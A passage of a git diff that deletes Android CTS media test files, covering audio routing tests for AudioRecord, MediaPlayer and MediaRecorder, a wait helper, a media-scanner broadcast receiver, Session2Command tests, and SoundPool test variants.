-        assertNotNull(routedDevice); // we probably can't say anything more than this
-    }
-
-    private class AudioRecordPuller implements Runnable {
-        AudioRecord mAudioRecord;
-        int mBufferSize;
-
-        boolean mRecording;
-
-        short[] mAudioData;
-
-        public AudioRecordPuller(AudioRecord audioRecord, int bufferSize) {
-            mAudioRecord = audioRecord;
-            mBufferSize = bufferSize;
-            mRecording = false;
-        }
-
-        public void start() { mRecording = true; }
-        public void stop() { mRecording = false; }
-
-        @Override
-        public void run() {
-            while (mAudioRecord != null && mRecording) {
-                mAudioRecord.read(mAudioData, 0, mBufferSize);
-           }
-        }
-    }
-
-    public void test_audioRecord_getRoutedDevice() throws Exception {
-        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
-            return;
-        }
-
-        if (!DeviceUtils.hasInputDevice(mAudioManager)) {
-            Log.i(TAG, "No input devices. Test skipped");
-            return; // nothing to test here
-        }
-
-        int bufferSize =
-                AudioRecord.getMinBufferSize(
-                    41000,
-                    AudioFormat.CHANNEL_OUT_DEFAULT,
-                    AudioFormat.ENCODING_PCM_16BIT);
-        AudioRecord audioRecord =
-            new AudioRecord(
-                MediaRecorder.AudioSource.DEFAULT,
-                41000, AudioFormat.CHANNEL_OUT_DEFAULT,
-                AudioFormat.ENCODING_PCM_16BIT,
-                bufferSize);
-
-        AudioRecordPuller puller = new AudioRecordPuller(audioRecord, bufferSize);
-        puller.start();
-
-        audioRecord.startRecording();
-
-        Thread pullerThread = new Thread(puller);
-        pullerThread.start();
-
-        assertHasNonNullRoutedDevice(audioRecord);
-
-        puller.stop();
-        audioRecord.stop();
-        audioRecord.release();
-    }
-
-    static class AudioRoutingListener implements AudioRouting.OnRoutingChangedListener
-    {
-        private boolean mCalled;
-        private boolean mCallExpected;
-        private CountDownLatch mCountDownLatch;
-
-        AudioRoutingListener() {
-            reset();
-        }
-
-        public void onRoutingChanged(AudioRouting audioRouting) {
-            mCalled = true;
-            mCountDownLatch.countDown();
-        }
-
-        void await(long timeoutMs) {
-            try {
-                mCountDownLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-            }
-        }
-
-        void setCallExpected(boolean flag) {
-            mCallExpected = flag;
-        }
-
-        boolean isCallExpected() {
-            return mCallExpected;
-        }
-
-        boolean isRoutingListenerCalled() {
-            return mCalled;
-        }
-
-        void reset() {
-            mCountDownLatch = new CountDownLatch(1);
-            mCalled = false;
-            mCallExpected = true;
-        }
-    }
-
-    private MediaPlayer allocMediaPlayer() {
-        return allocMediaPlayer(null, true);
-    }
-
-    private MediaPlayer allocMediaPlayer(AudioDeviceInfo device, boolean start) {
-        final String res = "testmp3_2.mp3";
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        MediaPlayer mediaPlayer = MediaPlayer.create(mContext, Uri
-                .fromFile(new File(mInpPrefix + res)));
-        mediaPlayer.setAudioAttributes(
-                new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_MEDIA).build());
-        if (device != null) {
-            mediaPlayer.setPreferredDevice(device);
-        }
-        if (start) {
-            mediaPlayer.start();
-        }
-        return mediaPlayer;
-    }
-
-    public void test_mediaPlayer_preferredDevice() {
-        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
-            // Can't do it so skip this test
-            return;
-        }
-
-        MediaPlayer mediaPlayer = allocMediaPlayer();
-        assertTrue(mediaPlayer.isPlaying());
-
-        // None selected (new MediaPlayer), so check for default
-        assertNull(mediaPlayer.getPreferredDevice());
-
-        // resets to default
-        assertTrue(mediaPlayer.setPreferredDevice(null));
-
-        // test each device
-        AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
-        for (int index = 0; index < deviceList.length; index++) {
-            if (deviceList[index].getType() == AudioDeviceInfo.TYPE_TELEPHONY) {
-                // Device with type as TYPE_TELEPHONY requires a privileged permission.
-                continue;
-            }
-            assertTrue(mediaPlayer.setPreferredDevice(deviceList[index]));
-            assertTrue(mediaPlayer.getPreferredDevice() == deviceList[index]);
-        }
-
-        // Check defaults again
-        assertTrue(mediaPlayer.setPreferredDevice(null));
-        assertNull(mediaPlayer.getPreferredDevice());
-
-        mediaPlayer.stop();
-        mediaPlayer.release();
-    }
-
-    public void test_mediaPlayer_getRoutedDevice() throws Exception {
-        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
-            // Can't do it so skip this test
-            return;
-        }
-
-        MediaPlayer mediaPlayer = allocMediaPlayer();
-        assertTrue(mediaPlayer.isPlaying());
-
-        assertHasNonNullRoutedDevice(mediaPlayer);
-
-        mediaPlayer.stop();
-        mediaPlayer.release();
-    }
-
-    public void test_MediaPlayer_RoutingListener() {
-        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
-            // Can't do it so skip this test
-            return;
-        }
-
-        MediaPlayer mediaPlayer = allocMediaPlayer();
-
-        // null listener
-        mediaPlayer.addOnRoutingChangedListener(null, null);
-
-        AudioRoutingListener listener = new AudioRoutingListener();
-        AudioRoutingListener someOtherListener = new AudioRoutingListener();
-
-        // add a listener
-        mediaPlayer.addOnRoutingChangedListener(listener, null);
-
-        // remove listeners
-        // remove a listener we didn't add
-        mediaPlayer.removeOnRoutingChangedListener(someOtherListener);
-        // remove a valid listener
-        mediaPlayer.removeOnRoutingChangedListener(listener);
-
-        Looper myLooper = prepareIfNeededLooper();
-
-        mediaPlayer.addOnRoutingChangedListener(listener, new Handler());
-        mediaPlayer.removeOnRoutingChangedListener(listener);
-
-        mediaPlayer.stop();
-        mediaPlayer.release();
-        if (myLooper != null) {
-            myLooper.quit();
-        }
-    }
-
-    public void test_MediaPlayer_RoutingChangedCallback() throws Exception {
-        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
-            // Can't do it so skip this test
-            return;
-        }
-
-        AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
-        if (devices.length < 2) {
-            // In this case, we cannot switch output device, that may cause the test fail.
-            return;
-        }
-
-        AudioRoutingListener listener = new AudioRoutingListener();
-        MediaPlayer mediaPlayer = allocMediaPlayer(null, false);
-        mediaPlayer.addOnRoutingChangedListener(listener, null);
-        mediaPlayer.start();
-        try {
-            // Wait a second so that the player
-            Thread.sleep(WAIT_PLAYBACK_START_TIME_MS);
-        } catch (Exception e) {
-        }
-
-        AudioDeviceInfo routedDevice = mediaPlayer.getRoutedDevice();
-        assertTrue("Routed device should not be null", routedDevice != null);
-
-        // Reset the routing listener as the listener is called to notify the routed device
-        // when the playback starts.
-        listener.await(WAIT_ROUTING_CHANGE_TIME_MS);
-        assertTrue("Routing changed callback has not been called when starting playback",
-                listener.isRoutingListenerCalled());
-        listener.reset();
-
-        listener.setCallExpected(false);
-        for (AudioDeviceInfo device : devices) {
-            if (routedDevice.getId() != device.getId() &&
-                    device.getType() != AudioDeviceInfo.TYPE_TELEPHONY) {
-                mediaPlayer.setPreferredDevice(device);
-                listener.setCallExpected(true);
-                listener.await(WAIT_ROUTING_CHANGE_TIME_MS);
-                break;
-            }
-        }
-
-        mediaPlayer.removeOnRoutingChangedListener(listener);
-        mediaPlayer.stop();
-        mediaPlayer.release();
-
-        if (listener.isCallExpected()) {
-            assertTrue("Routing changed callback has not been called",
-                    listener.isRoutingListenerCalled());
-        }
-    }
-
-    public void test_mediaPlayer_incallMusicRoutingPermissions() {
-        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
-            // Can't do it so skip this test
-            return;
-        }
-
-        // only apps with MODIFY_PHONE_STATE permission can route playback
-        // to the uplink stream during a phone call, so this test makes sure that
-        // audio is re-routed to default device when the permission is missing
-
-        AudioDeviceInfo telephonyDevice = getTelephonyDeviceAndSetInCommunicationMode();
-        if (telephonyDevice == null) {
-            // Can't do it so skip this test
-            return;
-        }
-
-        MediaPlayer mediaPlayer = null;
-
-        try {
-            mediaPlayer = allocMediaPlayer(telephonyDevice, false);
-            assertEquals(AudioDeviceInfo.TYPE_TELEPHONY, mediaPlayer.getPreferredDevice().getType());
-            mediaPlayer.start();
-            // Sleep for 1s to ensure the underlying AudioTrack is created and started
-            SystemClock.sleep(1000);
-            telephonyDevice = mediaPlayer.getRoutedDevice();
-            // 3 behaviors are accepted when permission to play to telephony device is rejected:
-            // - indicate a null routed device
-            // - fallback to another device for playback
-            // - stop playback in error.
-            assertTrue(telephonyDevice == null
-                    || telephonyDevice.getType() != AudioDeviceInfo.TYPE_TELEPHONY
-                    || !mediaPlayer.isPlaying());
-        } finally {
-            if (mediaPlayer != null) {
-                mediaPlayer.stop();
-                mediaPlayer.release();
-            }
-            mAudioManager.setMode(AudioManager.MODE_NORMAL);
-        }
-    }
-
-    private MediaRecorder allocMediaRecorder() throws Exception {
-        final String outputPath = new File(Environment.getExternalStorageDirectory(),
-            "record.out").getAbsolutePath();
-        mOutFile = new File(outputPath);
-        MediaRecorder mediaRecorder = new MediaRecorder();
-        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
-        assertEquals(0, mediaRecorder.getMaxAmplitude());
-        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
-        mediaRecorder.setOutputFile(outputPath);
-        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
-        mediaRecorder.setAudioChannels(AudioFormat.CHANNEL_OUT_DEFAULT);
-        mediaRecorder.setAudioSamplingRate(AUDIO_SAMPLE_RATE_HZ);
-        mediaRecorder.setAudioEncodingBitRate(AUDIO_BIT_RATE_IN_BPS);
-        mediaRecorder.setMaxFileSize(MAX_FILE_SIZE_BYTE);
-        mediaRecorder.prepare();
-        mediaRecorder.start();
-        // Sleep a while to ensure the underlying AudioRecord is initialized.
-        Thread.sleep(1000);
-        return mediaRecorder;
-    }
-
-    public void test_mediaRecorder_preferredDevice() throws Exception {
-        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
-                || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
-            MediaUtils.skipTest("no audio codecs or microphone");
-            return;
-        }
-
-        MediaRecorder mediaRecorder = allocMediaRecorder();
-
-        // None selected (new MediaPlayer), so check for default
-        assertNull(mediaRecorder.getPreferredDevice());
-
-        // resets to default
-        assertTrue(mediaRecorder.setPreferredDevice(null));
-
-        // test each device
-        AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
-        for (int index = 0; index < deviceList.length; index++) {
-            if (!AVAILABLE_INPUT_DEVICES_TYPE.contains(deviceList[index].getType())) {
-                // Only try to set devices whose type is contained in predefined set as preferred
-                // device in case of permission denied when switching input device.
-                continue;
-            }
-            assertTrue(mediaRecorder.setPreferredDevice(deviceList[index]));
-            assertTrue(mediaRecorder.getPreferredDevice() == deviceList[index]);
-        }
-
-        // Check defaults again
-        assertTrue(mediaRecorder.setPreferredDevice(null));
-        assertNull(mediaRecorder.getPreferredDevice());
-        Thread.sleep(RECORD_TIME_MS);
-
-        mediaRecorder.stop();
-        mediaRecorder.release();
-    }
-
-    public void test_mediaRecorder_getRoutedDeviceId() throws Exception {
-        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
-            || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
-            MediaUtils.skipTest("no audio codecs or microphone");
-            return;
-        }
-
-        MediaRecorder mediaRecorder = allocMediaRecorder();
-
-        AudioDeviceInfo routedDevice = mediaRecorder.getRoutedDevice();
-        assertNotNull(routedDevice); // we probably can't say anything more than this
-        Thread.sleep(RECORD_TIME_MS);
-
-        mediaRecorder.stop();
-        mediaRecorder.release();
-    }
-
-    public void test_mediaRecorder_RoutingListener() throws Exception {
-        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
-            || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
-            MediaUtils.skipTest("no audio codecs or microphone");
-            return;
-        }
-
-        MediaRecorder mediaRecorder = allocMediaRecorder();
-
-        // null listener
-        mediaRecorder.addOnRoutingChangedListener(null, null);
-
-        AudioRoutingListener listener = new AudioRoutingListener();
-        AudioRoutingListener someOtherListener = new AudioRoutingListener();
-
-        // add a listener
-        mediaRecorder.addOnRoutingChangedListener(listener, null);
-
-        // remove listeners we didn't add
-        mediaRecorder.removeOnRoutingChangedListener(someOtherListener);
-        // remove a valid listener
-        mediaRecorder.removeOnRoutingChangedListener(listener);
-
-        Looper myLooper = prepareIfNeededLooper();
-        mediaRecorder.addOnRoutingChangedListener(listener, new Handler());
-        mediaRecorder.removeOnRoutingChangedListener(listener);
-
-        Thread.sleep(RECORD_TIME_MS);
-
-        mediaRecorder.stop();
-        mediaRecorder.release();
-        if (myLooper != null) {
-            myLooper.quit();
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/SafeWaitObject.java b/tests/tests/media/src/android/media/cts/SafeWaitObject.java
deleted file mode 100644
index 2346c0d..0000000
--- a/tests/tests/media/src/android/media/cts/SafeWaitObject.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-/**
- * Helper class to simplify the handling of spurious wakeups in Object.wait()
- */
-final class SafeWaitObject {
-    private boolean mQuit = false;
-
-    public void safeNotify() {
-        synchronized (this) {
-            mQuit = true;
-            this.notify();
-        }
-    }
-
-    public void safeWait(long millis) throws InterruptedException {
-        final long timeOutTime = java.lang.System.currentTimeMillis() + millis;
-        synchronized (this) {
-            while (!mQuit) {
-                final long timeToWait = timeOutTime - java.lang.System.currentTimeMillis();
-                if (timeToWait < 0) {
-                    break;
-                }
-                this.wait(timeToWait);
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/ScannerNotificationReceiver.java b/tests/tests/media/src/android/media/cts/ScannerNotificationReceiver.java
deleted file mode 100644
index 9d91671..0000000
--- a/tests/tests/media/src/android/media/cts/ScannerNotificationReceiver.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Environment;
-
-import java.io.File;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-class ScannerNotificationReceiver extends BroadcastReceiver {
-
-    private static final int TIMEOUT_MS = 4 * 60 * 1000;
-
-    private final String mAction;
-    private CountDownLatch mLatch = new CountDownLatch(1);
-
-    ScannerNotificationReceiver(String action) {
-        mAction = action;
-    }
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        if (intent.getAction().equals(mAction)) {
-            mLatch.countDown();
-        }
-    }
-
-    public void waitForBroadcast() throws InterruptedException {
-        if (!mLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-            int numFiles = countFiles(Environment.getExternalStorageDirectory());
-            MediaScannerTest.fail("Failed to receive broadcast in " + TIMEOUT_MS + "ms for "
-                    + mAction + " while trying to scan " + numFiles + " files!");
-        }
-    }
-
-    void reset() {
-        mLatch = new CountDownLatch(1);
-    }
-
-    private int countFiles(File dir) {
-        int count = 0;
-        File[] files = dir.listFiles();
-        if (files != null) {
-            for (File file : files) {
-                if (file.isDirectory()) {
-                    count += countFiles(file);
-                } else {
-                    count++;
-                }
-            }
-        }
-        return count;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/Session2CommandGroupTest.java b/tests/tests/media/src/android/media/cts/Session2CommandGroupTest.java
deleted file mode 100644
index 988ea87..0000000
--- a/tests/tests/media/src/android/media/cts/Session2CommandGroupTest.java
+++ /dev/null
@@ -1,120 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-import android.media.Session2Command;
-import android.media.Session2CommandGroup;
-import android.os.Parcel;
-
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.Set;
-
-/**
- * Tests {@link android.media.Session2CommandGroup}.
- */
-@RunWith(AndroidJUnit4.class)
-@SmallTest
-public class Session2CommandGroupTest {
-    private final int TEST_COMMAND_CODE_1 = 10000;
-    private final int TEST_COMMAND_CODE_2 = 10001;
-    private final int TEST_COMMAND_CODE_3 = 10002;
-
-    @Test
-    public void testHasCommand() {
-        Session2Command testCommand = new Session2Command(TEST_COMMAND_CODE_1);
-        Session2CommandGroup.Builder builder = new Session2CommandGroup.Builder()
-                .addCommand(testCommand);
-        Session2CommandGroup commandGroup = builder.build();
-        assertTrue(commandGroup.hasCommand(TEST_COMMAND_CODE_1));
-        assertTrue(commandGroup.hasCommand(testCommand));
-        assertFalse(commandGroup.hasCommand(TEST_COMMAND_CODE_2));
-    }
-
-    @Test
-    public void testGetCommands() {
-        Session2Command command1 = new Session2Command(TEST_COMMAND_CODE_1);
-        Session2Command command2 = new Session2Command(TEST_COMMAND_CODE_2);
-        Session2CommandGroup.Builder builder = new Session2CommandGroup.Builder()
-                .addCommand(command1);
-        Session2CommandGroup commandGroup = builder.build();
-
-        Set<Session2Command> commands = commandGroup.getCommands();
-        assertTrue(commands.contains(command1));
-        assertFalse(commands.contains(command2));
-    }
-
-    @Test
-    public void testDescribeContents() {
-        final int expected = 0;
-        Session2Command command = new Session2Command(TEST_COMMAND_CODE_1);
-        Session2CommandGroup.Builder builder = new Session2CommandGroup.Builder()
-                .addCommand(command);
-        Session2CommandGroup commandGroup = builder.build();
-        assertEquals(expected, commandGroup.describeContents());
-    }
-
-    @Test
-    public void testWriteToParcel() {
-        Session2CommandGroup.Builder builder = new Session2CommandGroup.Builder()
-                .addCommand(new Session2Command(TEST_COMMAND_CODE_1))
-                .addCommand(new Session2Command(TEST_COMMAND_CODE_2));
-        Session2CommandGroup commandGroup = builder.build();
-        Parcel dest = Parcel.obtain();
-        commandGroup.writeToParcel(dest, 0);
-        dest.setDataPosition(0);
-        Session2CommandGroup commandGroupFromParcel =
-            Session2CommandGroup.CREATOR.createFromParcel(dest);
-        assertEquals(commandGroup.getCommands(), commandGroupFromParcel.getCommands());
-        dest.recycle();
-    }
-
-    @Test
-    public void testBuilder() {
-        Session2CommandGroup.Builder builder = new Session2CommandGroup.Builder()
-                .addCommand(new Session2Command(TEST_COMMAND_CODE_1));
-        Session2CommandGroup commandGroup = builder.build();
-        Session2CommandGroup.Builder newBuilder = new Session2CommandGroup.Builder(commandGroup);
-        Session2CommandGroup newCommandGroup = newBuilder.build();
-        assertEquals(commandGroup.getCommands(), newCommandGroup.getCommands());
-    }
-
-    @Test
-    public void testAddAndRemoveCommand() {
-        Session2Command testCommand1 = new Session2Command(TEST_COMMAND_CODE_1);
-        Session2Command testCommand2 = new Session2Command(TEST_COMMAND_CODE_2);
-        Session2Command testCommand3 = new Session2Command(TEST_COMMAND_CODE_3);
-        Session2CommandGroup.Builder builder = new Session2CommandGroup.Builder()
-                .addCommand(testCommand1)
-                .addCommand(testCommand2)
-                .addCommand(testCommand3);
-        builder.removeCommand(testCommand1)
-                .removeCommand(testCommand2);
-        Session2CommandGroup commandGroup = builder.build();
-        assertFalse(commandGroup.hasCommand(testCommand1));
-        assertFalse(commandGroup.hasCommand(testCommand2));
-        assertTrue(commandGroup.hasCommand(testCommand3));
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/Session2CommandTest.java b/tests/tests/media/src/android/media/cts/Session2CommandTest.java
deleted file mode 100644
index 91de258..0000000
--- a/tests/tests/media/src/android/media/cts/Session2CommandTest.java
+++ /dev/null
@@ -1,141 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.media.Session2Command;
-import android.os.Bundle;
-import android.os.Parcel;
-
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests {@link android.media.Session2Command}.
- */
-@RunWith(AndroidJUnit4.class)
-@SmallTest
-public class Session2CommandTest {
-    private final int TEST_COMMAND_CODE = 10000;
-    private final int TEST_RESULT_CODE = 0;
-    private final String TEST_CUSTOM_ACTION = "testAction";
-    private final Bundle TEST_CUSTOM_EXTRAS = new Bundle();
-    private final Bundle TEST_RESULT_DATA = new Bundle();
-
-    @Test
-    public void testConstructorWithCommandCodeCustom() {
-        try {
-            Session2Command command = new Session2Command(Session2Command.COMMAND_CODE_CUSTOM);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected IllegalArgumentException
-        }
-    }
-
-    @Test
-    public void testConstructorWithNullAction() {
-        try {
-            Session2Command command = new Session2Command(null, null);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected IllegalArgumentException
-        }
-    }
-
-    @Test
-    public void testGetCommandCode() {
-        Session2Command commandWithCode = new Session2Command(TEST_COMMAND_CODE);
-        assertEquals(TEST_COMMAND_CODE, commandWithCode.getCommandCode());
-
-        Session2Command commandWithAction = new Session2Command(TEST_CUSTOM_ACTION,
-                TEST_CUSTOM_EXTRAS);
-        assertEquals(Session2Command.COMMAND_CODE_CUSTOM, commandWithAction.getCommandCode());
-    }
-
-    @Test
-    public void testGetCustomAction() {
-        Session2Command commandWithCode = new Session2Command(TEST_COMMAND_CODE);
-        assertNull(commandWithCode.getCustomAction());
-
-        Session2Command commandWithAction = new Session2Command(TEST_CUSTOM_ACTION,
-                TEST_CUSTOM_EXTRAS);
-        assertEquals(TEST_CUSTOM_ACTION, commandWithAction.getCustomAction());
-    }
-
-    @Test
-    public void testGetCustomExtras() {
-        Session2Command commandWithCode = new Session2Command(TEST_COMMAND_CODE);
-        assertNull(commandWithCode.getCustomExtras());
-
-        Session2Command commandWithAction = new Session2Command(TEST_CUSTOM_ACTION,
-                TEST_CUSTOM_EXTRAS);
-        assertEquals(TEST_CUSTOM_EXTRAS, commandWithAction.getCustomExtras());
-    }
-
-    @Test
-    public void testDescribeContents() {
-        final int expected = 0;
-        Session2Command command = new Session2Command(TEST_COMMAND_CODE);
-        assertEquals(expected, command.describeContents());
-    }
-
-    @Test
-    public void testWriteToParcel() {
-        Session2Command command = new Session2Command(TEST_CUSTOM_ACTION, null);
-        Parcel dest = Parcel.obtain();
-        command.writeToParcel(dest, 0);
-        dest.setDataPosition(0);
-        assertEquals(command.getCommandCode(), dest.readInt());
-        assertEquals(command.getCustomAction(), dest.readString());
-        assertEquals(command.getCustomExtras(), dest.readBundle());
-    }
-
-    @Test
-    public void testEquals() {
-        Session2Command commandWithCode1 = new Session2Command(TEST_COMMAND_CODE);
-        Session2Command commandWithCode2 = new Session2Command(TEST_COMMAND_CODE);
-        assertTrue(commandWithCode1.equals(commandWithCode2));
-
-        Session2Command commandWithAction1 = new Session2Command(TEST_CUSTOM_ACTION,
-                TEST_CUSTOM_EXTRAS);
-        Session2Command commandWithAction2 = new Session2Command(TEST_CUSTOM_ACTION,
-                TEST_CUSTOM_EXTRAS);
-        assertTrue(commandWithAction1.equals(commandWithAction2));
-    }
-
-    @Test
-    public void testHashCode() {
-        Session2Command commandWithCode1 = new Session2Command(TEST_COMMAND_CODE);
-        Session2Command commandWithCode2 = new Session2Command(TEST_COMMAND_CODE);
-        assertEquals(commandWithCode1.hashCode(), commandWithCode2.hashCode());
-    }
-
-    @Test
-    public void testGetResultCodeAndData() {
-        Session2Command.Result result = new Session2Command.Result(TEST_RESULT_CODE,
-                TEST_RESULT_DATA);
-        assertEquals(TEST_RESULT_CODE, result.getResultCode());
-        assertEquals(TEST_RESULT_DATA, result.getResultData());
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/SoundPoolAacTest.java b/tests/tests/media/src/android/media/cts/SoundPoolAacTest.java
deleted file mode 100644
index dbf422c..0000000
--- a/tests/tests/media/src/android/media/cts/SoundPoolAacTest.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-import android.platform.test.annotations.AppModeFull;
-
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class SoundPoolAacTest extends SoundPoolTest {
-
-    @Override
-    protected int getSoundA() {
-        return R.raw.a_4_aac;
-    }
-
-    @Override
-    protected int getSoundCs() {
-        return R.raw.c_sharp_5_aac;
-    }
-
-    @Override
-    protected int getSoundE() {
-        return R.raw.e_5_aac;
-    }
-
-    @Override
-    protected int getSoundB() {
-        return R.raw.b_5_aac;
-    }
-
-    @Override
-    protected int getSoundGs() {
-        return R.raw.g_sharp_5_aac;
-    }
-
-    @Override
-    protected String getFileName() {
-        return "a_4_aac.mp4";
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/SoundPoolHapticTest.java b/tests/tests/media/src/android/media/cts/SoundPoolHapticTest.java
deleted file mode 100644
index 1132f57..0000000
--- a/tests/tests/media/src/android/media/cts/SoundPoolHapticTest.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.AudioAttributes;
-import android.media.AudioManager;
-import android.media.cts.R;
-import android.platform.test.annotations.AppModeFull;
-
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class SoundPoolHapticTest extends SoundPoolTest {
-    @Override
-    protected AudioAttributes getAudioAttributes() {
-        // Unmute haptic channels here so that haptic playback
-        // will be selected if it is available.
-        return new AudioAttributes.Builder()
-                .setLegacyStreamType(AudioManager.STREAM_MUSIC)
-                .setHapticChannelsMuted(false).build();
-    }
-
-    @Override
-    protected int getSoundA() {
-        return R.raw.a_4_haptic;
-    }
-
-    @Override
-    protected int getSoundCs() {
-        return R.raw.c_sharp_5_haptic;
-    }
-
-    @Override
-    protected int getSoundE() {
-        return R.raw.e_5_haptic;
-    }
-
-    @Override
-    protected int getSoundB() {
-        return R.raw.b_5_haptic;
-    }
-
-    @Override
-    protected int getSoundGs() {
-        return R.raw.g_sharp_5_haptic;
-    }
-
-    @Override
-    protected String getFileName() {
-        return "a_4_haptic.ogg";
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/SoundPoolMidiTest.java b/tests/tests/media/src/android/media/cts/SoundPoolMidiTest.java
deleted file mode 100644
index 218c279..0000000
--- a/tests/tests/media/src/android/media/cts/SoundPoolMidiTest.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
